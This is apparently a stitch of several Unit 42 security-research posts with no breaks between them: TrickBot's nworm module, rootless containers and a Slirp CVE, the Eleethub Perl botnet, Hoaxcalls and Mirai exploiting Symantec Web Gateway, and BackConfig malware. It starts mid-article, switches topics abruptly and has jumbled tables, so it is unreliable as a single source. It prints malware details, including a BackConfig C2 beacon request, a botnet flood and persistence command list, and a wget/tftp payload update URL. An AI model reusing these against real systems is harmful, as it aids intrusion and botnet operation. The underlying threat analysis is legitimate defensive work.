Figure 4. HTTP GET requests caused by TrickBot’s mshare, mworm and tab modules.
Goodbye Mworm: Hello Nworm
In April 2020 while generating a TrickBot infection in a lab environment, TrickBot stopped using the mworm module. In its place, a new artifact named "nworm" appeared on an infected Windows 7 client. Figure 5 shows an example of this new nworm artifact.
Figure 5. New nworm module found from an infection on April 24, 2020.
HTTP traffic for follow-up TrickBot EXEs caused by nworm is noticeably different than traffic caused by mworm. The differences are:
mworm: URL for TrickBot EXE ends with /images/redcar.png
nworm: URL for TrickBot EXE ends with /ico/VidT6cErs
mworm: Follow-up TrickBot EXE is returned unencrypted in the HTTP traffic
nworm: Follow-up TrickBot EXE is returned as an encrypted or otherwise encoded binary in the HTTP traffic
By using Wireshark and examining TCP streams, we can easily spot the differences in HTTP traffic caused by the old mworm module and the new nworm module. Figure 6 shows traffic from the mworm module in March 2020, and Figure 7 shows traffic from the nworm module in April 2020.
Figure 6. TCP stream showing HTTP traffic caused by the mworm module in March 2020.Figure 7. TCP stream showing HTTP traffic caused by the nworm module April 2020.
Figure 8 shows the current propagation flowchart, highlighting changes seen with the nworm module since April 2020.
Figure 8. TrickBot propagation flow chart since April 2020.
Like mworm, the new nworm module does not appear unless the TrickBot infection happens in an AD environment with a DC.
TrickBot Caused By Nworm: Not Persistent
When nworm infects a vulnerable DC, the malware is run from memory. No artifacts are found on the infected DC and TrickBot on the DC doesn’t survive a reboot.
In cases where mshare and tab infect a vulnerable DC with TrickBot, these infections remain persistent on the DC, but TrickBot caused by nworm is not persistent. This shouldn’t be an issue for the malware, because the DC is a server and servers rarely shut down or reboot like a Windows client.
Post-Infection Gtag from TrickBot Caused By Nworm
Every TrickBot binary has an identifier called a gtag. This is found in configuration data extracted from a TrickBot binary. Gtags can also be found in HTTP traffic during a TrickBot infection. They indicate the specific campaign or source of infection used for a TrickBot binary.
The gtag is a short alphabetic string followed by a number representing a one-up serialization. Examples follow:
mor-series gtag: TrickBot caused by an Emotet infection, for example: TrickBot gtag mor84 caused by Emotet on January 27th, 2020.
ono-series gtag: various TrickBot infections initiated through malicious Microsoft Office documents like Word documents or Excel spreadsheets, distributed through English-language emails.
red-series gtag: TrickBot distributed as a DLL file instead of an EXE, for example: TrickBot gtag red5 documented on March 17th, 2020.
Gtags for TrickBot binaries used by TrickBot modules are unique. They break out as:
tot-series gtag: TrickBot binaries used by mshare module
jim-series gtag: TrickBot binaries used by nworm (and the old mworm) module
lib-series gtag: TrickBot binaries used by tab module
Figure 9 and Figure 10 show gtags from traffic filtered in Wireshark from an infection on April 20th, 2020. In these images, the Windows client is at 10.4.20.101, and the DC is at 10.4.20.4.
Figure 9. The initial TrickBot infection, where HTTP traffic from an infected client at 10.4.20.101 shows gtag ono38.Figure 10. TrickBot spreads to the DC where we see gtag jim716 from an infection caused by the nworm module.
Conclusion
An infection caused by nworm is run from system memory, leaves no artifacts on an infected DC and disappears after a reboot or shutdown. Furthermore, the TrickBot binary used by nworm is encrypted or otherwise encoded when it is retrieved over the Internet. These characteristics are likely an attempt by TrickBot developers to avoid detection.
This is the latest in a series of changes in TrickBot as it evolves within our current threat landscape.
However, best security practices like running fully-patched and up-to-date versions of Microsoft Windows will hinder or prevent TrickBot infections. Palo Alto Networks customers are further protected from TrickBot by our threat prevention platform. AutoFocus users can track TrickBot activity by using the TrickBot tag.
Indicators of Compromise
Recent HTTP URLs for TrickBot binaries for propagation to vulnerable DC
As cloud computing evolves, containers continue to become more and more popular. New solutions and ideas to the way we implement containers are being introduced. One of these new ideas is rootless containers.
Rootless containers is a new concept of containers that don’t require root privileges in order to formulate. Many solutions have been proposed to overcome the technological challenges of creating a container with an unprivileged user, some of them are still under development and some are production-ready. While rootless containers present some advantages, mainly from a security perspective, they are still in their early stages.
In this post, Unit 42 researcher Aviv Sasson reviews the internals of rootless containers. Aviv also presents a vulnerability he found in one of the major rootless networking components called Slirp. Palo Alto Networks customers running Prisma Cloud are protected from this vulnerability with the host and container vulnerability scanner, which alerts on software components running with this vulnerability.
Background
As the name implies, rootless containers are the same as conventional containers but differentiate in the fact that they don’t need root privileges in order to be formed.
Nowadays, rootless containers are still in early adoption stages, but are already supported by the major players in the field.
There are several reasons why rootless containers have emerged.
Adding a new security layer. In case the container engine, runtime or orchestrator is compromised, the attacker won't gain root privileges on the host.
Allowing multiple unprivileged users to run containers on the same machine (e.g. HPC).
Allowing isolation inside nested containers.
This solution was made possible by a new development in the Linux kernel that allows unprivileged users to create new user namespaces. When a user creates and enters a new user namespace, he becomes root in the context of that namespace and gains most of the privileges required to spawn a functioning container.
I won’t dig into user namespace technicalities, but namespace root isn’t as privileged as real root in areas that affect the entire system (for example, a namespace root cannot load or delete kernel modules). This led to some challenges that were solved differently by each container engine.
Networking
In order to allow proper networking inside a container, usually, a Virtual Ethernet device (VETH) is created and in charge of the networking. This poses a problem for rootless containers, as only real root has the privileges to create such devices. A number of solutions were proposed to solve the problem -- the main ones being Slirp and LXC-user-nic.
Slirp
Slirp was originally designed to be an internet dial-up for unprivileged users. In time, it found a new purpose as a networking stack for virtual machines and emulators, including the well-known QEMU (aka Quick Emulator). After some modifications, it was adjusted to enable networking in rootless containers. It works by forking into the container’s user and network namespaces and creating a tap device that becomes the default route. It then passes the device’s file descriptor to the parent who runs in the default network namespace, which is now able to communicate both with the container and the internet.
Figure 1. Slirp networking flow
LXC-User-Nic
Another way to set up networking is by running a setuid binary that creates a VETH device. Although it does enable networking inside the container, it misses the point of rootless containers because it requires the container binary to run with root privileges.
Storage
One of the complex elements in implementing containers is storage management. By default, container engines use a special driver called Overlay2 (or Overlay) to create a layered filesystem that is efficient in both space and performance. This cannot be done with rootless containers, as most Linux distributions don’t allow mounting overlay filesystems in user namespaces (Ubuntu is an exception). This problem drove rootless containers to work with other drivers and filesystems.
The obvious solution was to use another driver, like the VFS storage driver. While it works, it is significantly less efficient. The better solution was to create a new storage driver to suit the needs of rootless containers. One such driver is the FUSE-OverlayFS. It’s a user-space implementation of Overlay, which is more efficient then VFS and can run inside user namespaces.
Cgroups
The Linux control group (cgroups) feature, another key element of implementing containers, allows processes and containers to be organized into hierarchical groups whose usage of various types of resources can then be limited and monitored. Since the kernel’s cgroups interface is provided through a pseudo-filesystem that usually resides in “/sys” (a root owned directory), a non-root user cannot access and utilize it.
To tackle this problem, two approaches were proposed:
Cgroups V2
A new kernel implementation of cgroups that supports delegating permissions to unprivileged users. The downside is that V2 doesn’t support all the controllers that were implemented for cgroups V1 (e.g. devices, net_cls, net_prio,etc.).
PAM module
Another solution to the problem, by LXC, is to install pam_cgfs.so, which is a Pluggable Authentication Module (PAM module) that will allow unprivileged users to authenticate and manage cgroups.
Adoption status
The following container engines support rootless containers with the following components:
Docker
Podman
LXC
Networking
- Slirp
- Lxc-user-nic
- VPNkit
Slirp
Lxc-user-nic
Storage
VFS
FUSE-OverlayFS
VFS
Cgroups
No support
Limited support for cgroups v2
PAM module
Table 1. Adoption status
As seen in the table above, the most prominent container engines are working to support the various aspects of rootless containers, spearheaded by Podman and LXC.
Security
From a security perspective, there is a big benefit in using rootless containers. The premise in the security world is that every software can be compromised - whether by vulnerabilities or by misconfigurations - and that includes container implementations. We should always run any software with as limited privileges as possible, so when a security bug is exploited the impact would be minimized.
While rootless containers should be considered more secure, they utilize new features and components that haven’t yet been widely tested and reviewed. These components may inadvertently become another attack vector. One example is the networking solution of rootless containers. LXE-user-nic, or Slirp, could be vulnerable to security issues that would affect both the container and host.
LXE-user-nic has had multiple vulnerabilities that allowed privilege escalation, such as CVE-2017-5985 and CVE-2018-6556. Another example is Slirp. In recent years, several vulnerabilities were disclosed, including a heap overflow that can lead to code execution on the host. In order to avoid a total takeover, Slirp’s maintainers have added to their software a sandbox functionality and seccomp support, but the truth is that container engines run Slirp without the seccomp support as it’s still experimental and therefore it may be possible to escape the sandbox.
Slirp - CVE-2020-1983
As part of my research, I conducted my own research on Slirp in order to detect and fix possible vulnerabilities. While fuzzing the software, I identified a use-after-free vulnerability that can crash Slirp. The vulnerability was assigned CVE-2020-1983.
The issue has to do with how Slirp manages IP fragmentation. The maximum size of an IP packet is 65,535 bytes and when fragmenting IP fragments, this is supposed to be the limit. The bug here was that Slirp doesn’t verify the size of the fragmented IP packet and when it tries to fragment a packet that is bigger than 65,535, it crashes.
When Slirp stops, the container loses its network stack and effectively becomes unusable.
Other vulnerabilities in libslirp could lead to code execution on the container and not just crashing. It could even lead to an eventual breakout from the container to the host and to other containers. In 2020, two of such vulnerabilities were found: CVE-2020-8608 and CVE-2020-7039.
I would like to thank the Slirp development team for acknowledging my security advisory and quickly issuing a fix patch. The affected Slirp versions are 4.0.0 to 4.2.0.
Prisma Cloud Protection
Palo Alto Networks customers running Prisma Cloud are protected from this through the Prisma Cloud Compute host and container vulnerability scanner which alerts on vulnerable software components with this vulnerability.
Figure 2. Prisma Cloud Compute host flag
Conclusion
Rootless containers present a new approach for containers that adds a major security layer. It could easily become the next trend in containers in the cloud. While there are still many limitations and some parts of their functionality are still experimental and are under development, I do think that with time and effort rootless containers could be fully functional and adopted by the community while taking the place of traditional containers.
Unit 42 researchers uncovered a new botnet campaign using Perl Shellbot, intended to mine Bitcoin, while avoiding detection using a specially crafted rootkit.
The bot is propagated by sending a malicious shell script to a compromised device that then downloads other scripts. After the victim device executes the downloaded scripts, it starts waiting for commands from its Command and Control (C2) server. While the Perl programming language is popular in malware for its wide compatibility, this botnet can potentially affect not only Unix-based systems but also Windows 10 systems that use a Linux subsystem.
This new campaign uses a shared library called libprocesshider.so to hide the mining processes on the infected device and a specially crafted rootkit to avoid detection. The malicious actors use the name “Los Zetas”, which is an allusion to a Mexican criminal organization regarded as one of the most dangerous drug cartels in the country. Despite that, it is unlikely that the attackers are actually part of this criminal organization. Additionally, this botnet has links to UnderNet, one of the largest IRC (Internet Relay Chat) networks where different topics are discussed including malware and cybercrime.
Moreover, the botnet was still under development when it was uncovered. As a result, it doesn’t have many recruiters. However, it was important to stop it before the attackers compromised more devices. We observed that the botnet performs Bitcoin mining on its victim devices on a growing scale using known mining tools such as xmrig and emech. These tools have been seen in recent coin mining campaigns, such as VictoryGate and Monero mining over $6000 for profit. We estimate the Eleethub botnet can also grow to make thousands of dollars if it expands in a period of one to two years.
Shell Script Dropper
A compromised device will download a malicious shell script containing commands to download pieces of the botnet and create directories to copy the downloaded files into. Next, the device executes the downloaded files (procps.h, ps, setup, m) to start communicating with an IRC server. Additionally, it downloads and implements a library called libprocesshider.so (Figure 1), which will be explained later.
Figure 1. Downloaded files
Hiding Processes with a Rootkit
This botnet takes the concealment of mining tasks to the next level. First, it reuses the well known open-source process-hiding library libprocesshider to hide the mining process with LD_PRELOAD(Figure 2). This technique has been used in several past coin mining campaigns, such as that perpetrated by the Rocke group Unit 42 found in 2019.
Figure 2. x.sh
In addition, the attackers use a specially crafted rootkit to hide the mining operation from detection in the ps (process status) command. Specifically, the malware replaces the original ps tool with a crafted one. The crafted tool calls the real ps (Figure 3) but filters off the mining processes xmrig and emech and sensitive keywords in the ps results such as proc, netstats, and tops (Figure 4). These keywords are usually assumed to be indicators of existing coin miners. By removing these keywords, the mining exploit hides itself from antivirus monitoring and avoids being killed by other competing coin miners (Outlaw, for example), which usually scan the running processes to discover if any other miners are present.
Figure 3. Installing rootkitFigure 4. Process hiding
Connecting to the Botnet
Once the infected device has downloaded all the files in the rootkit (Figure 5) and has started running the malicious scripts, it will connect to an IRC server by sending an assigned nickname that starts with dark followed by a random integer number between 0 and 8999 (Figure 6).
Figure 5. Installation of the rootkitFigure 6. Assigning a nickname to the compromised device (zombie)
The initial PING is followed by the word LAG + the current epoch time (Figure 8).
Figure 7. Sending the first PING to the IRC server
Additionally, it contains scripts to communicate with the UnderNet IRC server as well (Figure 8).
Figure 8. Sending a PING command to the IRC Undernet server
Because the botnet was not yet ready by the time we discovered it, we were unable to receive any commands from the IRC server. However, we were able to connect manually to the IRC server and explore the channels available. We discovered that, fortunately, the Miners channel had just a few recruiters or zombies (Figures 10 and 11).
Figure 9. Channels found manuallyFigure 10. Zombies in the botnet
Later, the compromised device could start receiving commands to send attacks such as UDP floods, TCP floods, port scans, and HTTP attacks (Figure 7).
Figure 11. Available attacks
Figure 11. Available attacks
Los Zetas from Eleethub
The domain associated with the C2 server is eleethub[.]com. We visited the website and found a message announcing that something was coming, which probably was the botnet they were preparing (Figure 12).
Figure 12. Visiting eleethub[.]comIn addition, the IRC server prints a banner (MOTD) with the name of that domain (Figure 13).
Figure 13. Message Of The Day - Eleet Hub
The phrase “Los Zetas” is mentioned multiple times in the malicious scripts that compose the botnet. The most notable ones are in the main rootkit directory, in the setup file (Figure 14), and in the information from the botnet operators undead[@]los[.]zetas[.]mx (Figure 15). “Los Zetas” is a reference to a Mexican criminal organization, regarded as one of the most dangerous drug cartels in the country. However, it is unlikely that the attackers are actually part of this criminal organization.
Figure 14. Reference to “Los Zetas” in setup fileFigure 15. User related to los[.]zetas[.]mx
Conclusion
The new Perl shell-based botnet uses libraries such as libprocesshider.so to hide mining activities. In addition, the attackers use a specially crafted rootkit to hide the mining operation from discovery.
The Perl programming language is popular in malware for its wide compatibility across many Unix-based systems, such as Linux servers, PCs, and even IoT devices. Perl is a scripting language and does not need to be compiled for every different CPU architecture or firmware version. Another advantage of using Perl scripts is the wide range of libraries that can easily be implemented. This type of botnet takes advantage of the computing power of compromised devices to do various tasks such as coin mining and launching DDoS attacks.
Palo Alto Networks customers are protected from the Perl shell botnet by the following platforms:
Threat Prevention Signatures: 85843 that identifies IRC C2 communication.
PAN-DB and DNS Security block the attackers’ C2 server URL and domain.
WildFire identifies and blocks Perl shell botnets.
Palo Alto Networks IoT Security detects attacks such as IRC botnets targeting IoT devices
As part of Unit 42’s efforts to proactively monitor threats circulating in the wild, I recently came across new Hoaxcalls and Mirai botnet campaigns targeting a post-authentication Remote Code Execution vulnerability in Symantec Secure Web Gateway 5.0.2.8, which is a product that became end-of-life (EOL) in 2015 and end-of-support-life (EOSL) in 2019. There is no evidence to support any other firmware versions are vulnerable at this point in time and these findings have been shared with Symantec. They confirmed the currently exploited vulnerability is no longer present in Symantec Web Gateway 5.2.8. Symantec also wanted to emphasize the point that this vulnerability does not impact Secure Web Gateway solutions, including ProxySG and Web Security Services.
The first instance of this vulnerability being exploited surfaced on April 24th, 2020 as part of an evolution of the Hoaxcalls botnet that was first discovered earlier that same month. This latest version of Hoaxcalls supports additional commands that allow an attacker greater control on the infected devices, such as the possibility to proxy traffic through them, downloading updates, maintaining persistence across device restarts, or preventing reboots, and a larger number of DDoS attacks that can be launched. The use of the exploit in the wild surfaced only a few days after the publication of the vulnerability details, highlighting the fact that the authors of this particular botnet have been pretty active in testing the effectiveness of new exploits as and when they are made public.
Following that, in the first week of May, I also came across a Mirai variant campaign involving the use of the same exploit, though in this campaign, the samples themselves don’t contain any DDoS capabilities. Instead, they serve the purpose of propagation using credential brute force and exploitation of the Symantec Secure Web Gateway RCE vulnerability This blog post provides any noteworthy technical details on these two campaigns.
Palo Alto Networks customers are protected from this attack: WildFire correctly identifies all related samples as malicious and Threat Prevention blocks all exploits used by this variant. In addition, AutoFocus customers can track this exploit using the tag SymantecWebGateway_RCE.
Hoaxcalls Evolution
The Hoaxcalls botnet, an offshoot of the Bashlite/Gafgyt malware family, was first discovered in April 2020, exploiting recently disclosed vulnerabilities in certain models of Grandstream business telephone IP PBX systems, and Draytek Vigor routers.
A few weeks later, the botnet was found exploiting an unpatched vulnerability impacting Zyxel Cloud CNM SecuManager.
On April 24th, I observed samples of the same botnet incorporating an exploit targeting the EOL’d Symantec Secure Web Gateway v5.0.2.8, with an HTTP request in the format:
As seen in the snippet above, some samples reach out to a URL for a public file upload service (plexle[.]us) where the post-exploitation payload is hosted.
A comprehensive list of indicators of compromise (IOCs), along with a timeline of this activity can be found at the end of this post.
While the new version of the Hoaxcalls botnet is very similar to the initial version, to the point that it even uses the same encryption scheme with the exact same keys, it supports additional commands that allow an attacker greater control on the infected devices such as the possibility to proxy traffic through them, downloading updates, maintaining persistence across device restarts or preventing reboots, and a larger number of DDoS attacks that can be launched. These have been detailed below.
Flooder Commands
Description
SYMANTEC
scan and infect Symantec Secure Web Gateway devices using the RCE described just above.
FASTFLUX
proxy traffic from the device to an address specified by the attacker
UNINSTALL
kill the running malware process
KILLTELNET
kill the telnet service on the device (this is probably to make maintenance of an infected device trickier for administrators)
LOCKDEVICE
setup a cronjob to ensure the binary is running and maintain persistence across device restarts
UPDATE
delete the existing bot binary, and download an update from 164[.]132.92.180/sh using either wget or tftp (The update URL was serving a script as seen in Fig 1 below)
MOVE
switch IRC server
IOCTL
disable the watchdog timer to prevent reboots
HTTPCONN
launch HTTP CONNECTION request flood against specified target
HTTPOPTIONS
launch HTTP OPTIONS request flood against specified target
HTTPTRACE
launch HTTP TRACE request flood against specified target
HTTPDELETE
launch HTTP DELETE request flood against specified target
HTTPPUT
launch HTTP PUT request flood against specified target
HTTPPOST
launch HTTP POST request flood against specified target
HTTPHEAD
launch HTTP HEAD request flood against specified target
HTTPGET
launch HTTP GET request flood against specified target
URG
launch URG flood against specified target
PSH
launch PSH flood against specified target
ACK
launch ACK flood against specified target
FIN
launch FIN flood against specified target
RST
launch RST flood against specified target
SYN
launch SYN flood against specified target
TCP
launch TCP flood against specified target
VSE
launch VSE flood against specified target
Table 1. New Flooder commands
The URL contacted for the update serves a shell script that downloads and executes binaries from attacker-controlled URLs.
Fig 1. Hoaxcalls update URL
Other bot and flooder commands in common with the previous version of the Hoaxcalls botnet have been described in detail previously.
Mirai Variant
Samples of this campaign surfaced early May, built on the Mirai source code, and are packed with a modified version of UPX by using a different 4-byte key with the UPX algorithm.
Another deviation from the Mirai source-code is the use of all of ten 8-byte keys that are cumulatively used for a byte-wise string encryption scheme.
This is similar to the scheme used by the Hoaxcalls botnet, and has been seen used in previous variants too. However, as has been clear with previous implementations too, the use of multiple keys does not imply greater encryption complexity, and in this case this essentially amounts to a byte-wise XOR encryption with 0x5a.
In this campaign, the samples themselves don’t contain any DDoS capabilities, but rather serve the purpose of propagation using credential brute force and exploitation of the Symantec Secure Web Gateway RCE vulnerability.
Speculation on Exploitation Success
It is worth mentioning that the botnets’ success at exploitation and infection is limited by the following two facts:
The Symantec Secure Web Gateway RCE vulnerability being exploited is a post-authentication vulnerability implying the exploit is only effective for authenticated sessions.
The devices being targeted are EOLDproducts from 2012, and installations with newer firmware would not be vulnerable.
Conclusion
In the case of both campaigns, one can assume that their success with this exploit is limited by the post-authentication nature of the Symantec Secure Web Gateway RCE vulnerability.
Palo Alto Networks customers are protected by:
WildFire, which detects all related samples with malicious verdicts
Threat Prevention, which blocks all exploits used by this variant.
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.
Unit 42 has observed activity over the last 4 months involving the BackConfig malware used by the Hangover threat group (aka Neon, Viceroy Tiger, MONSOON). Targets of the spear-phishing attacks, using local and topical lures, included government and military organizations in South Asia.
The BackConfig custom trojan has a flexible plug-in architecture for components offering various features, including the ability to gather system and keylog information and to upload and execute additional payloads.
The initial infection occurs via a weaponized Microsoft Excel (XLS) document delivered via compromised legitimate websites for which the URLs are most likely shared via email. The documents use Visual Basic for Applications (VBA) Macro code which, if enabled by the victim, starts an installation process consisting of multiple components that result in the plug-in loader payload being downloaded and executed. The modular nature certainly allows for quicker changes to individual components and, perhaps more importantly for the attackers, splits up the malicious behaviors in such a way that could thwart sandbox and dynamic analysis systems, especially when analyzing the components in isolation.
Our threat prevention platform with WildFire detects activity associated with this threat group, while simultaneously updating the ‘malware’ category within the PAN-DB URL filtering solution for malicious and/or compromised domains that have been identified.
Indicators of compromise related to this research are documented at the end of this report and in the Adversary Playbook for the Hangover threat group that can be accessed in the Unit 42 Playbook Viewer.
Starting Point
Unit 42 first saw activity involving the Windows PE executable file (SHA256: 84e56294b260b9024917c390be21121e927f414965a7a9db7ed7603e29b0d69c) when searching AutoFocus data related to particular sectors and countries of interest.
The file was first seen on January 19th, 2020, having been downloaded by two organizations -- a government department in one country and a military organization in another -- within minutes of each other. The source of the download was http://212.114.52[.]148/request/httpsrequest and the file httpsrequest was stored locally as dphc.exe. More details on how the malware was delivered are described later in the blog.
The choice of terminology in URL paths and file names when delivering BackConfig malware in this, and other campaigns discussed later on, is clearly to blend in as benign operations, paths and filenames. Although spelled differently, it could be easy to believe the payload relates to the DHCP networking service.
The purpose of this malware is to allow the actors to download and execute an executable file, as well as download and run batch files to run commands on the end system.
This sample has a custom "decryption" routine that subtracts six from each character. The following strings are decrypted using this method:
linkrequest[.]live
\\Adobe\\Driver\\dwg\\pid.txt
\\Adobe\\Driver\\dwg\\
\\Adobe\\Driver\\dwg\\wuaupdt.exe
The Trojan reads the following file to use in the URL of the C2 beacon. If the file does not exist, the executable will exit without performing any further activities. The pid.txt file is created during the earlier delivery and installation phases starting with the weaponized Excel document. More information about this setup process is covered later in the delivery section. As previously mentioned, this behavior makes an automated analysis of the individual executable payload component harder.
%USERPROFILE%\Adobe\Driver\dwg\pid.txt
The C2 channel uses HTTPS thanks to the INTERNET_FLAG_SECURE flag used when calling the HttpOpenRequestA function. The beacon HTTP request will look like the following:
GET /orderme/[contents of pid.txt file] HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 @/NEW Host: linkrequest[.]live [resolving to 23.106.123[.]87]
The Trojan will look for the following field and values within the HTTP response header:
"Content-Type: application"
"Content-Type: xDvsds"
"Content-Type: Bw11eW"
If the content-type field contains a value of application, the Trojan will extract a filename from the HTTP response headers between the string filename and Content-Transfer-Encoding. It will use this filename to create a file in the %USERPROFILE%\Adobe\Driver\dwg\ folder, which it will write the data in the HTTP response to. Based on the other two Content-Types, we believe the filename provided will be either "wuaupdt.exe" or test.bat.
If the content-type field has a value of xDvsds, the Trojan will attempt to execute the following file using ShellExecuteA and the "open" method:
%USERPROFILE%\Adobe\Driver\dwg\wuaupdt.exe
If the content-type field has a value of Bw11eW, the Trojan will attempt to execute the following file using ShellExecuteA and the "open" method:
%USERPROFILE%\Adobe\Driver\dwg\test.bat
At the time of writing, the C2 appeared inoperational and no further payloads were seen. We believe that the resultant wuaupdt.exe file would then provide further capabilities to steal information, log keystrokes, and provide the ability to run additional commands either directly or via additional plugins which it would download, as documented by the Qihoo 360 Threat Intelligence group in their investigation of prior campaigns here.
Unit 42 has conducted cursory binary diffing for many of the BackConfig executable files and did not find any non-library function overlaps that would suggest that the payloads are based on the YTY or EHDev frameworks as mentioned here and here.
PE Metadata
The malware sample contains some interesting static artifacts including self-signed digital certificates used to sign the executable purporting to be software from the Foxit Software Incorporated company based in California. It is not known why the actors picked this company -- and others listed in Table 1 below -- to impersonate but, as previously mentioned, their use of filenames and URLs makes their payloads appear benign and trustworthy.
Using this meta-data, together with information gleaned from infrastructure investigation, Unit 42 were able to pivot around on AutoFocus data to find additional BackConfig PE executable samples. Those samples from the last 12 months are listed in Tables 1 and 2 below.
SHA256
Compilation Time (UTC)
First Seen (Pacific)
Signer Name
84e5629...
01/20/2020 7:26:09am
01/19/2020 11:49:03pm
Foxit Software Incorporated
18ce3ee...
10/10/2019 9:22:11am
01/16/2020 4:30:26pm
4a4bc01...
11/21/2019 9:19:49am
01/16/2020 1:31:46am
wind0ws
91c67c1...
11/21/2019 9:19:49am
12/02/2019 2:03:41am
de5b670...
11/21/2019 9:19:49am
11/21/2019 11:59:05pm
f79ebf0...
10/28/2019 5:35:26am
11/09/2019 10:32:09pm
NVIDIA Corporation
31faeef...
10/10/2019 9:22:11am
10/13/2019 10:11:04pm
Foxit Software Incorporated
d87b875...
09/12/2019 5:54:04am
09/26/2019 9:32:19am
Digicert Global
1510996...
12/05/2018 4:35:03am
04/09/2019 10:30:16am
Foxit Software Incorporated
Table 1. Describing PE compile times and Digital signatures used, ordered by first seen.
The Compilation Time stored in executable (SHA256: 84e5629...) appears to be after the point at which the file was first seen by our WildFire analysis system. While the PE file timestamp could be modified post-compilation, the oddity is more likely explained away with time zones -- 2349 Pacific time on the 19th is 1349 in Bangladesh on the 20th, and 7:26am UTC is in the range of 11:26 to 13:26 across the South Asia region, which would make the sample compilation quite recent with respect to the delivery of it.
More details about the self-signed digital certificates, as well as full hashes, can be found in the IOCs section at the end of this report.
The following table shows the version information from the same PE files, grouped by similar File Description fields. The order remains the same, except for the sample (SHA256: 18ce3ee...) which was first seen January 16th, 2020 but for some reason reverted to using exact version information seen in samples two to three months prior. Namely, Link Finder.
SHA256
File Description
File Version
Product Name
Product Version
Copyright
84e5629...
Альберт (Albert, in English)
06.10.2015
Альберт
01.05.2015
Copyright @ 2015-2026 secosec
4a4bc01...
Ссылка
(Link, in English)
01.01.12
ссылка
10.01.2015
Copyright @ 2011-2021 secosec Inc. Все права защищеныk (All rights reserved, in English)
91c67c1...
de5b670...
18ce3ee...
Link Finder
01.01.12
Link Finder
13,9,1632
Copyright @2011-2020 Techtest Inc. All Rights Reserved
Table 2. Describing PE version info metadata, ordered by first seen and grouped on matching data.
Of the set, the file (SHA256: 1510996...) has most consistency in terms of a theme, using the Foxit Copyright information, self-signed digital signature and even using the company logo, as shown in the Figure below, for the executable file’s icon. The file’s copyright information only differs from that of Foxit’s Reader software by a missing period symbol, implying it was copied rather than created.
The actors then moved to use seemingly fictitious company and product names while using a mixture of signer names in their digital signatures. No file icons were used at all over the last 11 months.
Recent samples also included Cyrillic text in the file description, product name, and copyright fields, as shown and translated in the table above. It’s hard to know if this is an attempt to set false flags as to the origins of the BackConfig malware, or perhaps to make the content more relevant to specific targets within the victim organizations.
Delivery and Installation
In this section, we describe how the various payloads are delivered based on what we have seen in our customer networks, as well as what we have established through open-source research. Unit 42 has yet to see any evidence of weaponized documents used to deliver BackConfig being attached on phishing emails and that phishing URL links in emails appear to be the Hangover group’s modus operandi.
The remainder of this section focuses largely on Object Linking and Embedding (OLE) Microsoft Excel documents, as they are most commonly used by the Hangover group, at least when it comes to the BackConfig malware. Through infrastructure analysis however, Unit 42 was able to find a BackConfig PE sample (SHA256: e28f1bc0b0910757b25b2146ad02798ee6b206a5fe66ce68a28f4ab1538d6a1f; first seen 10/24/2019) using the C2 domain matissues[.]com and dropped by the weaponised Rich Text Format (RTF) file (SHA256: 752c173555edb49a2e1f18141859f22e39155f33f78ea70a3fbe9e2599af3d3f) from the same day. The RTF used the CVE-2017-11882 exploit against equation editor vulnerabilities in Office applications to execute the PE sample which was a unique exploitation method compared to all other samples analyzed.
Compromised Third-Party Infrastructure
Continuing to pivot on data obtained from the samples found thus far, we discovered some related URLs relating to compromised third-party infrastructure supporting the delivery of the BackConfig malware. The following table lists some examples of compromised sites delivering weaponised XLS files with filenames, such as Circular_No_03.xls (SHA256: 0aa5cf1025be21b18ab12d8f8d61a6fa499b3bbcdbdced27db82209b81821caf) and Circullar_Nov_2017.xls (SHA256: ed638b5f33d8cee8f99d87aa51858a0a064ca2e6d59c6acfdf28d4014d145acb) implying (even with incorrect spelling) that the contents is, or relates to, a letter or advertisement which is distributed to a large number of people.
SHA-256
First Seen
Related URL
Description
Location
be3f12b...
2019-10
http://nsaimmigration[.]com/userfiles/image/
fbr.php and nphp_registration_form.php (both HTTP 404)
Consultant and Legal Advice company supporting students to live and study abroad.
Web design and dev site running outdated WordPress application
Pakistan
ed638b5...
2017-11
http://alphamike.com[.]mv/housing
Shipping agency for freight forwarding and cargo delivery.
Maldives
http://mgamphs.edu[.]bd/info/ (down)
Muhurigonj Academy of Music and Performance High School. Reference.
Bangladesh
Table 3. Compromised third-party infrastructure to support delivery of BackConfig.
Given the targeting related to these threats, and the compromised third-party websites, we believe the use of “fbr” in some of the URLs above likely relates to the Federal Board of Revenue (FBR) government organization of Pakistan. The “fbr” theme also runs into the VBA macro code. File ed638b5... contains the statement Const WelcomePage = "FBR".
The old compromised hosting examples in Table 3 above do not rely on Hypertext Preprocessor (PHP) server-side scripts to deliver the weaponized XLS files. Instead, the pages simply used HTTP response status 301 (Moved Permanently) for URL redirection to said XLS, initiating the download. More recent examples make use of PHP with URL filenames matching the social engineering theme, such as “fbr”. In addition, the actors use the PHP script to log any visitors to the page noting in a file named “info.txt” the datetime stamp of the event, the client operating system, and their IP address.
The location of the compromised third-party infrastructure or the organizations legitimately using them, align with the targeting Unit 42 has seen. This could be pure coincidence, a sign from the threat actors that their intention is to take advantage of weaknesses in the target country’s wider infrastructure, or the threat actors leveraging in-country infrastructure that may be considered more trustworthy by the intended victims and their security solutions.
Palo Alto Networks’ WildFire sandbox analyzed sample ed638b5... on November 8th, 2017, and, as described in the table above, the sample was hosted on two compromised websites: a Bangladesh school and a Maldivan shipping agency. While Unit 42 has not seen Hangover activity in the Maldives, the archipelago is in the region alongside other known targets and interestingly, swore in a new President about a week after Unit 42 analyzed the sample.
The EXE payload (SHA256: 4104a871e03f312446ef2fb041077167a9c6679f48d48825cbc1584e4fa792cd) downloaded directly by the VBA code in sample ed638b5... from the URL below relates to those documented by BitDefender here. To date, Unit 42 has only seen 6 similar samples since the late-2017 timeframe for this sample, compared to many more prior, perhaps indicating a change over of the custom payloads used by the Hangover group. Certainly, there are some overlaping Tactics Techniques and Procedures (TTPs) between the older samples and the more recent BackConfig samples.
Before moving on to describe the most recent samples and installation methods used by the Hangover actors, the timeline figure below provides a high-level view of the evolution in TTPs used.
Figure 2. Evolution of delivery payloads
